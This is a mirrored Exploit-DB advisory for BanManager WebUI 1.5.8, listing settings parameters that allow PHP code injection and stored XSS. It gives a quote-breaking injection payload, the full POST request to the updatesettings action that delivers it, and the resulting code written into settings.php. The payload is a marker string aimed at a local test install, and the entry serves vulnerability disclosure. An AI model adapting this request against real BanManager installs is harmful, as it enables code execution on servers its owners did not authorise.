BanManager WebUI 1.5.8 – PHP Code Injection - 体验盒子

作者： HaHwul

日期： 2017-05-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/41989/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS

# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS

# Date: 2017-05-10

# Exploit Author: HaHwul

# Exploit Author Blog: www.hahwul.com

# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI

# Software Link: https://github.com/BanManagement/BanManager-WebUI.git

# Version: 1.5.8

# Tested on: Debian

### Vulnerability

Code executed via the updatesetting action will modify 'setting.php'.

In the process, there is not verification of the input value, so it is possible to insert php code.

### Vulnerable param

PHP Code Injection & Stored XSS

- footer

- buttons_before

- buttons_after

Only PHP Code Injection

- banextra

- muteextra

### Attack code

PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';

POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin

Content-Length: 168

Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7

DNT: 1

Connection: keep-alive

type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=

### Result(in settings.php)

$settings['password'] = 'asdf'; // ACP Password (Keep it strong)

$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';

$settings['admin_link'] = true; // Show the admin link in the footer of all page

$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'